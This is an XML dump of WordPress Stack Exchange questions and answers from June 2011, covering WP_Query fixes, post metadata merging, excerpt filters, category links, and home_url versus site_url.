  <row Id="20283" PostTypeId="2" ParentId="20232" CreationDate="2011-06-17T15:38:00.563" Score="2" ViewCount="" Body="&lt;p&gt;You're not alone. It's a problem with a variable type assumption in &lt;code&gt;WP_Query&lt;/code&gt;. I fixed it by editing line &lt;code&gt;2390&lt;/code&gt; in &lt;code&gt;wp-includes/query.php&lt;/code&gt; from this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$q_status = explode(',', $q['post_status']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$q_status = is_array( $q['post_status'] ) ? $q['post_status'] : explode(',', $q['post_status']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was going to submit to trac, but I've just checked the trunk and it looks like it's already been fixed. Hopefully it'll make the next release :)&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-17T15:38:00.563" />
  <row Id="20284" PostTypeId="2" ParentId="20231" CreationDate="2011-06-17T16:02:12.717" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;/**&#xA; * Merge metadata from one post to another.&#xA; * &#xA; * @param int $from_ID Source post ID&#xA; * @param int $to_ID Target post ID&#xA; * @param bool $overwrite Whether to overwrite metadata if the key already exists&#xA; * @return bool|array&#xA; */  &#xA;function wpse_20231_merge_postmeta( $from_ID, $to_ID, $overwrite = true )&#xA;{&#xA;    // get ALL metadata for $from_ID&#xA;    if ( !$source_meta = get_metadata( 'post', $from_ID ) )&#xA;        return false;&#xA;&#xA;    if ( !$existing_meta = get_metadata( 'post', $to_ID ) )&#xA;        $existing_meta = array();&#xA;&#xA;    // loop over source meta and update, depending on if overwrite is true &amp;amp; existing meta exists&#xA;    foreach ( $source_meta as $key =&amp;gt; $value ) {&#xA;        if ( $overwrite ? true : !isset( $existing_meta[ $key ] ) )&#xA;            update_post_meta( $to_ID, $key, maybe_unserialize( $value ) );&#xA;    }&#xA;&#xA;    // return new meta data&#xA;    // using plus is like array merge, but from left to right - proceding duplicate keys are ignored&#xA;    return $overwrite ? $source_meta + $existing_meta : $existing_meta + $source_meta;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-17T16:02:12.717" CommentCount="2" />
  <row Id="20285" PostTypeId="1" CreationDate="2011-06-17T16:11:26.123" Score="1" ViewCount="44" Body="&lt;p&gt;Is there a way / set of plugins that could enable discussion where each commenter is 'authenticated' with the site (via openid/fb/twitter/etc) but the commenter can still use a anonymous/fake name? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically we want to avoid people using other peoples email addresses and masquerading as them (in a university situation, its not difficult to work out someone else's email...)&lt;/p&gt;&#xA;" OwnerUserId="6283" LastActivityDate="2011-06-17T16:35:17.090" Title="Registered but Anonymous comments" Tags="&lt;comments&gt;&lt;registration&gt;&lt;authentication&gt;" AnswerCount="2" />
  <row Id="20286" PostTypeId="2" ParentId="20232" CreationDate="2011-06-17T16:23:01.273" Score="0" ViewCount="" Body="&lt;p&gt;I was experiencing this problem after upgrading to 3.1.3, too. The manual fix you described didn't work for me. I might have overlooked something but couldn't find it if I did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As suggested by some other users, I installed the Wordpress Hotfix plugin and it corrected the problem...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Michael&lt;/p&gt;&#xA;" OwnerUserId="6284" LastEditorUserId="6284" LastEditorDisplayName="" LastEditDate="2011-06-17T16:31:32.477" LastActivityDate="2011-06-17T16:31:32.477" />
  <row Id="20287" PostTypeId="2" ParentId="20285" CreationDate="2011-06-17T16:30:38.640" Score="1" ViewCount="" Body="&lt;p&gt;if you want the comments anonymous to the site's visitors, you could handle this in your comments template by simply not outputting any identifying information. display a name derived from their id, and only show the nickname if they enter one.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-17T16:30:38.640" />
  <row Id="20288" PostTypeId="2" ParentId="20285" CreationDate="2011-06-17T16:35:17.090" Score="0" ViewCount="" Body="&lt;p&gt;Why not just use Disqus or IntenseDebate or any one of the other commenting Plugins, and let the third-party service handle authentication? That way, users can control their level of anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just need to prevent email address impersonation (but don't need anonymity), use Gravatar.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-17T16:35:17.090" />
  <row Id="20289" PostTypeId="1" AcceptedAnswerId="20290" CreationDate="2011-06-17T16:50:28.240" Score="1" ViewCount="89" Body="&lt;p&gt;I tried using wp_list_categories, but that just gives me a list of the categories. I currently have this code in my category-recipes.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;subcats-list&quot;&amp;gt;&#xA;            &amp;lt;h2 class=&quot;subcats-title&quot;&amp;gt;&amp;lt;?php echo get_cat_name(38); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;?php&#xA;                $recipes = new WP_Query();&#xA;                $recipes-&amp;gt;query('showposts=5&amp;amp;orderby=rand&amp;amp;cat=38&amp;amp;post_type=recipe');&#xA;&#xA;                while ($recipes-&amp;gt;have_posts()) : $recipes-&amp;gt;the_post(); ?&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;/ul&amp;gt;&amp;lt;!-- subcat --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was thinking about putting a link tag before the &lt;code&gt;get_cat_name&lt;/code&gt; but I am not sure what to include in it.&lt;/p&gt;&#xA;" OwnerUserId="4273" LastActivityDate="2011-06-17T17:00:25.263" Title="Need category header to link to category archive list" Tags="&lt;link-category&gt;" AnswerCount="1" />
  <row Id="20290" PostTypeId="2" ParentId="20289" CreationDate="2011-06-17T17:00:25.263" Score="1" ViewCount="" Body="&lt;p&gt;Use get_category_link. Your code (relevant part) will look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;h2 class=&quot;subcats-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_category_link(38); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo get_cat_name(38); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-17T17:00:25.263" CommentCount="1" />
  <row Id="20291" PostTypeId="2" ParentId="11292" CreationDate="2011-06-17T17:30:33.153" Score="0" ViewCount="" Body="&lt;p&gt;You are missing a function parameter. Throw a null in for the second optional paramter $output and this function should work for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_post_ID_by_title('My post title', null, 'customposttype');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just ran into the same issue and adding the null fixed it for me. &lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-06-17T17:30:33.153" />
  <row Id="20292" PostTypeId="2" ParentId="11292" CreationDate="2011-06-17T17:44:52.733" Score="0" ViewCount="" Body="&lt;p&gt;I tend to shy away from direct DB queries.  Instead, I use the &lt;code&gt;WP_Query&lt;/code&gt; object to parse things for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is, basically, a function I use in one of my themes to get a post based on a given slug:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_post_id( $slug, $post_type ) {&#xA;    $query = new WP_Query(&#xA;        array(&#xA;            'name' =&amp;gt; $slug,&#xA;            'post_type' =&amp;gt; $post_type&#xA;        )&#xA;    );&#xA;&#xA;    $query-&amp;gt;the_post();&#xA;&#xA;    return get_the_ID();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will create a query using the WP API to fetch a post of a specific type with a given slug, will run the regular loop functions on the result, and return the ID of the post.  You could also use it to return the entire post by modifying the function a bit, but that's up to you.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-17T17:44:52.733" />
  <row Id="20293" PostTypeId="2" ParentId="20273" CreationDate="2011-06-17T17:45:48.267" Score="0" ViewCount="" Body="&lt;p&gt;Are you calling &lt;code&gt;$obj-&amp;gt;the_post()&lt;/code&gt;, as opposed to just &lt;code&gt;the_post()&lt;/code&gt;? For example;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Senior Management */&#xA;$query_args = array( 'tax_query' =&amp;gt; array( array( 'taxonomy' =&amp;gt; 'position',  'field' =&amp;gt; 'slug', 'terms' =&amp;gt; 'senior-management' ) ) );&#xA;$query_obj = new WP_Query( $query_args );&#xA;&#xA;while( $query_obj-&amp;gt;have_posts() ) : $query_obj-&amp;gt;the_post();&#xA;&#xA;    // do senior-management stuff here&#xA;&#xA;endwhile;&#xA;&#xA;&#xA;/* Sales */&#xA;$query_args['tax_query'][0]['terms'] = 'sales';&#xA;$query_obj-&amp;gt;query( $query_args );&#xA;&#xA;while( $query_obj-&amp;gt;have_posts() ) : $query_obj-&amp;gt;the_post();&#xA;&#xA;    // do sales stuff here&#xA;&#xA;endwhile;&#xA;&#xA;&#xA;/* Marketing */&#xA;$query_args['tax_query'][0]['terms'] = 'marketing';&#xA;$query_obj-&amp;gt;query( $query_args );&#xA;&#xA;while( $query_obj-&amp;gt;have_posts() ) : $query_obj-&amp;gt;the_post();&#xA;&#xA;    // do marketing stuff here&#xA;&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're doing the same 'stuff' for each loop, you could cut down your code even more by running it in a &lt;code&gt;foreach&lt;/code&gt; over an array of position terms.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-17T17:45:48.267" CommentCount="2" />
  <row Id="20294" PostTypeId="1" CreationDate="2011-06-17T18:07:10.783" Score="2" ViewCount="126" Body="&lt;p&gt;My understanding is that &lt;code&gt;site_url()&lt;/code&gt; returns the location where the wordpress core files are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if my blog is hosted at &lt;code&gt;http://example.com/blog&lt;/code&gt; then &lt;code&gt;site_url()&lt;/code&gt; returns &lt;code&gt;http://example.com/blog&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then how does &lt;code&gt;home_url()&lt;/code&gt; differ? For me, &lt;code&gt;home_url()&lt;/code&gt; returns the same thing: &lt;code&gt;http://example.com/blog&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's correct, then can I get wordpress to return &lt;code&gt;http://example.com/&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="6058" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-17T18:34:16.740" LastActivityDate="2011-06-17T18:37:10.357" Title="What's the difference between home_url() and site_url()" Tags="&lt;functions&gt;&lt;urls&gt;&lt;site-url&gt;&lt;home-url&gt;" AnswerCount="2" />
  <row Id="20295" PostTypeId="2" ParentId="20294" CreationDate="2011-06-17T18:12:30.637" Score="2" ViewCount="" Body="&lt;p&gt;If you want WP installed in a directory but the site home on your domain root, you need to move the main index.php file out to your domain root and edit the require statement to point within your directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This process is outlined here: &lt;a href=&quot;http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory&quot; rel=&quot;nofollow&quot;&gt;Giving WordPress Its Own Directory&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-17T18:12:30.637" CommentCount="5" />
  <row Id="20296" PostTypeId="2" ParentId="20168" CreationDate="2011-06-17T18:27:00.023" Score="0" ViewCount="" Body="&lt;p&gt;So, as Bainternet notes, you would need to compare the new field value to what it was right before the edit. In essence, you will need to build in version control for the profile fields. You will need to add a database table to store this info, using the &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/wpdb&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;$wpdb&lt;/code&gt; object&lt;/a&gt; to write, and read from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, on &lt;code&gt;personal_options_update&lt;/code&gt; and &lt;code&gt;edit_user_profile_update&lt;/code&gt; you will glean the data as in the previous answer, but then also compare it to your table storing the what existed in the previous save. You'll only send a particular field's data if there is mismatch.&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-06-17T18:27:00.023" CommentCount="1" />
  <row Id="20297" PostTypeId="1" AcceptedAnswerId="20300" CreationDate="2011-06-17T18:34:17.627" Score="1" ViewCount="40" Body="&lt;p&gt;I have a script in archive.php, which is outside the loop, that calls on the function get_blog_links() to list all posts that belong the the current category (my &quot;blog&quot; category).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to do some trace testing inside the &quot;get_blog_excerpt() function in order to write out either the post excerpt or (if no excerpt appears) the first 55 words of content (the_excerpt) for each post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm unable to obtain a reference to the_excerpt in my function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Blog Listing&#xA;function get_blog_links(){&#xA;    $myposts = get_posts();&#xA;    echo '&amp;lt;div&amp;gt;'; &#xA;    echo '&amp;lt;ul&amp;gt;'; foreach($myposts as $idx=&amp;gt;$post){ ?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;  // THE FUNCTION CALL IM WORKING ON...&#xA;            &amp;lt;?php echo get_blog_excerpt();?&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php } &#xA;    echo '&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;';&#xA;}&#xA;&#xA;&#xA;function get_blog_excerpt(){&#xA;    // return get_the_excerpt(); WORKS&#xA;    // return the_permalink();  WORKS&#xA;    // return the_excerpt(); DOES NOT WORK?&#xA;    // return get_the_content(); DOES NOT WORK?&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-06-17T18:48:22.557" Title="How to obtain a reference to the_excerpt() from custom loop" Tags="&lt;theme-development&gt;&lt;the-excerpt&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="20298" PostTypeId="2" ParentId="20294" CreationDate="2011-06-17T18:37:10.357" Score="0" ViewCount="" Body="&lt;p&gt;To answer you second question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Q: If that's correct, then can I get wordpress to return &lt;a href=&quot;http://example.com/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/&lt;/a&gt; ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not unless you use the giving WordPress it own directory. Using this means you put WordPress core files into &lt;code&gt;/blog&lt;/code&gt; or &lt;code&gt;/WordPress&lt;/code&gt; and then the &lt;code&gt;index.php&lt;/code&gt; into your root&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you decide to put WordPress inside its own directory then you would use &lt;code&gt;home_url()&lt;/code&gt; for going to &lt;code&gt;index.php&lt;/code&gt; and &lt;code&gt;site_url()&lt;/code&gt; for getting core files and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refrences:&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/site_url&quot; rel=&quot;nofollow&quot;&gt;Codex for &lt;code&gt;site_url&lt;/code&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/home_url&quot; rel=&quot;nofollow&quot;&gt;Codex for &lt;code&gt;home_url&lt;/code&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory&quot; rel=&quot;nofollow&quot;&gt;Codex for Giving Wordpress Own Directory&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-17T18:37:10.357" />
  <row Id="20299" PostTypeId="2" ParentId="20254" CreationDate="2011-06-17T18:43:35.637" Score="0" ViewCount="" Body="&lt;p&gt;It doesn't take much to tamper data when you use HTML forms; you don't even need a plug-in to do that. That's inherent in all HTML forms. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're that worried about people tampering with your data, yes, you'll need to rewrite the plug-in code to use session variables or a digital signature.&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-06-17T18:43:35.637" CommentCount="3" />
  <row Id="20300" PostTypeId="2" ParentId="20297" CreationDate="2011-06-17T18:48:22.557" Score="1" ViewCount="" Body="&lt;p&gt;I think you have to &lt;code&gt;setup_postdata()&lt;/code&gt; with &lt;code&gt;get_posts()&lt;/code&gt; to get things that rely on global variables to work. or explicitly pass the post id with the function.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-17T18:48:22.557" CommentCount="1" />
  <row Id="20301" PostTypeId="1" CreationDate="2011-06-17T19:26:51.713" Score="1" ViewCount="82" Body="&lt;p&gt;In the get_blog_excerpt() function below, the excerpt_more filter works perfectly when the post excerpt is not present, however, when the post has an excerpt, I'm not getting the &quot;Read More&quot; link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that the_excerpt first checks to see if a post excerpt is present, which is fine, but I want the read more link applied to it too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to change in order to make the excerpt_more apply in all cases?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_blog_excerpt(){&#xA;    add_filter('excerpt_length', 'ce4_excerpt_length');&#xA;    add_filter('excerpt_more', 'ce4_excerpt_more');&#xA;    return the_excerpt();&#xA;}&#xA;&#xA;function ce4_excerpt_length($length) {&#xA;    return 150;&#xA;}&#xA;&#xA;function ce4_excerpt_more($more) {&#xA;    global $post;&#xA;    return '...&amp;lt;a href=&quot;'. get_permalink($post-&amp;gt;ID) . '&quot;&amp;gt;Read More&amp;lt;/a&amp;gt;';&#xA;}&#xA;&#xA;&#xA;function get_blog_links(){&#xA;    global $post;&#xA;    setup_postdata($post);&#xA;    $myposts = get_posts($args);echo '&amp;lt;div id=&quot;menuFooterRecent&quot; class=&quot;blog&quot;&amp;gt;'; &#xA;    echo '&amp;lt;ul&amp;gt;'; &#xA;    foreach($myposts as $idx=&amp;gt;$post){ ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php &#xA;    echo get_blog_excerpt();&#xA;    echo '&amp;lt;div style=&quot;clear:both&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;';?&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php } echo '&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above is inside functions.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code below is inside archive.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;if(is_category()){&#xA;    if (get_query_var('cat') == get_category_by_slug('blog')-&amp;gt;term_id){&#xA;        get_blog_links();&#xA;    }&#xA;    else &#xA;    {&#xA;    get_category_links();&#xA;    }&#xA;} ?&amp;gt;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-06-17T20:32:01.193" LastActivityDate="2011-08-17T19:26:01.517" Title="How to make the excerpt_more filter apply to the actual post excerpt?" Tags="&lt;theme-development&gt;&lt;the-excerpt&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="20302" PostTypeId="2" ParentId="20301" CreationDate="2011-06-17T19:38:07.003" Score="0" ViewCount="" Body="&lt;p&gt;I'm going to assume that you're calling &lt;code&gt;get_blog_excerpt()&lt;/code&gt; in your template somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, what happens if you simply call &lt;code&gt;the_excerpt()&lt;/code&gt;, and then pull the two &lt;code&gt;add_filter()&lt;/code&gt; calls out of the container function? i.e. &lt;code&gt;functions.php&lt;/code&gt; would just look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ce4_excerpt_length($length) {&#xA;    return 150;&#xA;}&#xA;add_filter('excerpt_length', 'ce4_excerpt_length');&#xA;&#xA;function ce4_excerpt_more($more) {&#xA;    global $post;&#xA;    return '...&amp;lt;a href=&quot;'. get_permalink($post-&amp;gt;ID) . '&quot;&amp;gt;Read More&amp;lt;/a&amp;gt;';&#xA;}&#xA;add_filter('excerpt_more', 'ce4_excerpt_more');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in your template, you would just call &lt;code&gt;the_excerpt()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that works, then I suspect the issue is that your filters aren't getting applied - probably due to being wrapped in the container function.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-17T19:38:07.003" CommentCount="3" />
  <row Id="20303" PostTypeId="1" AcceptedAnswerId="20304" CreationDate="2011-06-17T19:51:36.730" Score="1" ViewCount="92" Body="&lt;p&gt;Hi to all I'm trying to create a function that can ECHO the excerpt of a random post from a choosen category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did up to now is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php function $titoloslide() = {&#xA;query_posts(array('orderby' =&amp;gt; 'rand', 'category_name' =&amp;gt; 'testimonianze', 'showposts' =&amp;gt; 1)); if (have_posts()) : while (have_posts()) : the_post();&#xA;&quot;&amp;lt;div class='testimonianzefurgonihome'&amp;gt;&amp;lt;a href='#' title='Testimonianze noleggio furgoni KobalRent'&amp;gt;&quot;the_excerpt();&quot;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&quot;&#xA; endwhile;&#xA;endif;&#xA;wp_reset_query();};?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously... it doesn't work!&#xA;Is there anyone who can help me?&#xA;Thank you very much!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why i need all of this inside a function?&#xA;Because I need to use it as title tag of some images and stuff like this so I can't write all my code inside title=&quot;&quot; and I tought that a function could do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to use NivoSlider so I need to put this code as a title tag to an image to be shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example:&#xA;&quot; title=&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function takes a random post from category testimonianze and shows his excerpt (I think it's easy to understan this :P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code works if I use it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(array('orderby' =&amp;gt; 'rand', 'category_name' =&amp;gt; 'testimonianze', 'showposts' =&amp;gt; 1)); if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&amp;lt;div class=&quot;testimonianzefurgonihome&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; title=&quot;Testimonianze noleggio furgoni KobalRent&quot;&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA; &amp;lt;?php endwhile; ?&amp;gt;&#xA; &amp;lt;?php endif;?&amp;gt;&#xA; &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But no way to have a working version in any other way even after code corrections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea or suggestions? (Maybe some prays will work too :P )&lt;/p&gt;&#xA;" OwnerUserId="4107" LastEditorUserId="4107" LastEditorDisplayName="" LastEditDate="2011-06-17T20:39:42.530" LastActivityDate="2011-06-17T20:39:42.530" Title="Function to show random posts from a category" Tags="&lt;posts&gt;&lt;php&gt;&lt;functions&gt;&lt;query-posts&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="20304" PostTypeId="2" ParentId="20303" CreationDate="2011-06-17T20:04:04.030" Score="1" ViewCount="" Body="&lt;p&gt;cleaned up syntax errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php function titoloslide() { &#xA;query_posts(array(&#xA;  'orderby' =&amp;gt; 'rand', &#xA;  'category_name' =&amp;gt; 'testimonianze', &#xA;  'posts_per_page' =&amp;gt; 1&#xA;)); &#xA;if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA; &amp;lt;div class='testimonianzefurgonihome'&amp;gt;&amp;lt;a href='#' title='Testimonianze noleggio furgoni KobalRent'&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; endif; wp_reset_query(); &#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-17T20:04:04.030" CommentCount="5" />
  <row Id="20305" PostTypeId="1" CreationDate="2011-06-17T20:06:22.597" Score="1" ViewCount="167" Body="&lt;p&gt;I have a custom post type that is set to have hierarchy. I'm trying to create a list of posts in that post type that display's that hierarchy using nested unordered lists. I have this post structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post&#xA;-child post&#xA;-- child of child post&#xA;-- child of child post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I want to be able to create a list of posts (which i guess are behaving more like pages since they have hierarchy), that reflects this structure using unordered lists, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;   &amp;lt;li&amp;gt;Post&#xA;      &amp;lt;ul&amp;gt;&#xA;       &amp;lt;li&amp;gt;child post&#xA;           &amp;lt;ul&amp;gt;&#xA;           &amp;lt;li&amp;gt;child of child post&amp;lt;/li&amp;gt;&#xA;           &amp;lt;li&amp;gt;chld of child post&amp;lt;/li&amp;gt;&#xA;           &amp;lt;/ul&amp;gt;&#xA;       &amp;lt;/li&amp;gt;&#xA;     &amp;lt;/ul&amp;gt;&#xA;   &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the best way to do this (if there is one) so that I don't have to go back into the code whenever I add new parent pages?&lt;/p&gt;&#xA;" OwnerUserId="5881" LastActivityDate="2011-06-17T20:23:38.817" Title="List posts from Custom Post type with hierarchy?" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="20306" PostTypeId="1" CreationDate="2011-06-17T20:09:27.977" Score="1" ViewCount="42" Body="&lt;p&gt;I have a WordPress theme that's installed and has been running fine for a while. I recently needed to update the theme itself, and I did so using the built-in theme editor. Upon reloading the site, the theme changes are not presented in the markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing the index.php file from the theme or changing it's name results in a blank page as expected, but removing all contents of the theme's index.php does not have a similar effect. In fact, the WordPress installation continues as if I had not made index.php blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no caching plugins installed, Varnish is not present, memcached is not in use at all, and neither is APC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attempted upgrading all the plugins and WordPress itself. The raw-html plugin I have installed failed to update with a fatal error about an include on line 16, but that include was not present. The update worked fine when I renamed the plugin filename though (from raw_html.php to raw_html1.php).&lt;/p&gt;&#xA;" OwnerUserId="6288" LastActivityDate="2011-06-17T20:09:27.977" Title="Wordpress Theme is not Responsive to Updates" Tags="&lt;plugins&gt;&lt;theme-development&gt;&lt;themes&gt;" CommentCount="7" />
  <row Id="20307" PostTypeId="2" ParentId="20305" CreationDate="2011-06-17T20:23:38.817" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;my_cutom_type-list&quot;&amp;gt;&#xA;    &amp;lt;?php wp_list_pages( 'post_type=my_custom_type&amp;amp;title_li=' ); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-17T20:23:38.817" CommentCount="1" />
